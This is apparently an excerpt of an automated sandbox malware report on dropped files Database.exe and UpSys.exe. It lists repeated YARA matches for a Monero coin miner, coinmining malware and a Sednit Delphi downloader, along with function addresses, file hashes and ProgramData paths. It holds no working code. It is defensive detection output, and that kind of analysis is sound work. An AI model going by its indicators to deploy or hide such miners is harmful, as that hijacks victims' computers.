              Source: 8.0.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 8.0.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 37.2.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 37.2.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 120.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 120.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 118.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 118.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 8.2.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 8.2.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 118.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 118.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 72.0.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 72.0.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 37.0.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 37.0.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 120.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 120.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: 72.2.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPEMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: 72.2.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPEMatched rule: Detects coinmining malware Author: ditekSHen
              Source: C:\ProgramData\Systemd\Database.exe, type: DROPPEDMatched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
              Source: C:\ProgramData\Systemd\Database.exe, type: DROPPEDMatched rule: Detects coinmining malware Author: ditekSHen
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF859085C054_2_00007FF859085C05
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF8590853A24_2_00007FF8590853A2
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF8590815BD4_2_00007FF8590815BD
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF8591539E14_2_00007FF8591539E1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 4_2_00007FF8591532854_2_00007FF859153285
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001005035_2_0000000140010050
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014000608035_2_0000000140006080
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002527C35_2_000000014002527C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400072E035_2_00000001400072E0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002241C35_2_000000014002241C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400194C035_2_00000001400194C0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002D59C35_2_000000014002D59C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001970C35_2_000000014001970C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007E83035_2_000000014007E830
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140095D9035_2_0000000140095D90
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002CD9C35_2_000000014002CD9C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140086EF035_2_0000000140086EF0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140091FF035_2_0000000140091FF0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006601035_2_0000000140066010
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014009506035_2_0000000140095060
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014000506035_2_0000000140005060
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014005607035_2_0000000140056070
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006909035_2_0000000140069090
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014005B0C035_2_000000014005B0C0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400840F035_2_00000001400840F0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002810835_2_0000000140028108
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002019835_2_0000000140020198
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008A1A035_2_000000014008A1A0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014000506035_2_0000000140005060
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400271EC35_2_00000001400271EC
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007E24035_2_000000014007E240
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007625035_2_0000000140076250
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001B29035_2_000000014001B290
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400212C035_2_00000001400212C0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007131035_2_0000000140071310
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006531035_2_0000000140065310
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006933035_2_0000000140069330
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400703F035_2_00000001400703F0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014009144035_2_0000000140091440
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014000146035_2_0000000140001460
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002F52035_2_000000014002F520
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002C56835_2_000000014002C568
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008F5C035_2_000000014008F5C0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014005360035_2_0000000140053600
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001C64035_2_000000014001C640
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007367035_2_0000000140073670
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400256C835_2_00000001400256C8
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001B6F035_2_000000014001B6F0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008870035_2_0000000140088700
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014004F73035_2_000000014004F730
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008E76035_2_000000014008E760
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014006476035_2_0000000140064760
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002678435_2_0000000140026784
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400837B035_2_00000001400837B0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007680035_2_0000000140076800
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002782435_2_0000000140027824
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002C89C35_2_000000014002C89C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002889C35_2_000000014002889C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400558A035_2_00000001400558A0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400148A035_2_00000001400148A0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400698E035_2_00000001400698E0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002B92C35_2_000000014002B92C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001C97035_2_000000014001C970
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400189B835_2_00000001400189B8
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_00000001400709D035_2_00000001400709D0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001BA0C35_2_000000014001BA0C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140023A6C35_2_0000000140023A6C
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140027AAC35_2_0000000140027AAC
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008FAD035_2_000000014008FAD0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007ABA035_2_000000014007ABA0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140025BCC35_2_0000000140025BCC
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140041BD035_2_0000000140041BD0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140079BF035_2_0000000140079BF0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140026C2435_2_0000000140026C24
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002EC2435_2_000000014002EC24
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014002BC9035_2_000000014002BC90
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140002C9035_2_0000000140002C90
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140089CB035_2_0000000140089CB0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001CCB035_2_000000014001CCB0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140087CD035_2_0000000140087CD0
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014001ED4035_2_000000014001ED40
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140018D8835_2_0000000140018D88
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140022DCC35_2_0000000140022DCC
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014007DE7035_2_000000014007DE70
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014000608035_2_0000000140006080
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_000000014008EF5035_2_000000014008EF50
              Source: C:\ProgramData\UpSys.exeCode function: 35_2_0000000140044080 GetCurrentProcess,OpenProcessToken,CreateEnvironmentBlock,CloseHandle,CreateProcessWithLogonW,DestroyEnvironmentBlock,35_2_0000000140044080
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys[1].exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: UpSys.exe.0.drStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
              Source: Database.exe.0.drStatic PE information: Number of sections : 11 > 10
              Source: Joe Sandbox ViewDropped File: C:\ProgramData\Systemd\Database.exe C8041C0C1E06CAC533162D4159403FC3E295EAB4A368519DAB658A75887E747D
              Source: Joe Sandbox ViewDropped File: C:\ProgramData\Systemd\old.exe (copy) C8041C0C1E06CAC533162D4159403FC3E295EAB4A368519DAB658A75887E747D
              Source: Joe Sandbox ViewDropped File: C:\ProgramData\UpSys.exe 5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2
              Source: 8.0.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 8.0.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 37.2.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 37.2.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 120.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 120.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 118.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 118.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 8.2.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 8.2.Database.exe.7ff700090000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 118.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 118.2.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 72.0.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 72.0.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 37.0.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 37.0.Database.exe.7ff714810000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 120.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 120.0.Database.exe.7ff78ebd0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 72.2.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPEMatched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
              Source: 72.2.Database.exe.7ff7d72f0000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
              Source: 00000023.00000003.443793311.0000000000801000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 00000023.00000002.489624357.00000000007EC000.00000004.00000010.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 00000047.00000003.488955768.00000000019A1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 00000034.00000003.461891685.0000000003131000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000025.00000000.449086579.00007FF714E1C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 00000078.00000002.619535717.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000078.00000002.619535717.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 00000076.00000000.580719900.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000076.00000000.580719900.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 00000076.00000002.619409903.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000076.00000002.619409903.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 0000008B.00000003.606812753.00000000030B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 00000034.00000002.528060433.00000000007ED000.00000004.00000010.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 0000004B.00000003.518150519.0000000003231000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 00000048.00000002.532148525.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000048.00000002.532148525.00007FF7D78FC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 0000006B.00000003.554270153.0000000003151000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: MAL_Sednit_DelphiDownloader_Apr18_2 date = 2018-04-24, hash5 = 72aa4905598c9fb5a1e3222ba8daa3efb52bbff09d89603ab0911e43e15201f3, hash4 = 0458317893575568681c86b83e7f9c916540f0f58073b386d4419517c57dcb8f, hash3 = 5427ecf4fa37e05a4fbab8a31436f2e94283a832b4e60a3475182001b9739182, hash2 = 657c83297cfcc5809e89098adf69c206df95aee77bfc1292898bbbe1c44c9dc4, hash1 = 53aef1e8b281a00dea41387a24664655986b58d61d39cfbde7e58d8c2ca3efda, author = Florian Roth, description = Detects malware from Sednit Delphi Downloader report, reference = https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/
              Source: 00000078.00000000.588642508.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
              Source: 00000078.00000000.588642508.00007FF78F1DC000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORYMatched rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21 date = 2021-10-24, author = Florian Roth, description = Detects command line parameters often used by crypto mining software, score = , reference = https://www.poolwatch.io/coin/monero
              Source: 00000008.00000000.405432715.00007FF70069C000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: CoinMiner_Strings date = 2018-01-04, author = Florian Roth, description = Detects mining pool protocol string in Executable, nodeepdive = , score = https://minergate.com/faq/what-pool-address, modified = 2021-10-26
